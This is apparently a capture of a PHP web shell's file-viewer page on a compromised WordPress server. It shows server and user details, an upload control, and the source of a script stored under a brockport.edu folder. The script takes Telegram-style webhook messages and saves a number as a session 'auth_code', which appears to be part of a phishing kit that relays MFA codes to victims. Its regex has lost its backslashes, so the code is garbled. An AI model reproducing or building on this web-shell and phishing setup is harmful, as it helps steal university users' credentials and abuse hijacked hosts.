HEX
Server: Apache/2
System: Linux ctr689471.novalocal 4.9.241-37.el7.x86_64 #1 SMP Mon Nov 2 13:55:04 UTC 2020 x86_64
User: bluecool (1005)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /home/bluecool/public_html/wp-content/brockport.edu/season_season_6972b371dbeaa/receive_number.php
<?php
session_start();
$input = file_get_contents('php://input');
$data = json_decode($input, true);

if (isset($data['message']['text'])) {
    $messageText = $data['message']['text'];

    // Split the message into season ID and number
    if (preg_match('/^(w+)/(d+)$/', $messageText, $matches)) {
        $seasonId = $matches[1]; // Extract the season ID
        $number = $matches[2]; // Keep as STRING, don't convert to int
        
        // Construct the directory path based on the season ID
        $seasonFolder = "season_$seasonId";
        $filename = "$seasonFolder/selected_number.txt";
        
        // Check if number is between 1-100 OR "00"
        $numberInt = intval($number);
        if (($numberInt >= 1 && $numberInt <= 100) || $number === '00') {
            file_put_contents($filename, $number); // Save as string
            $_SESSION['auth_code'] = $number; // Store as string
        }
    }
}
?>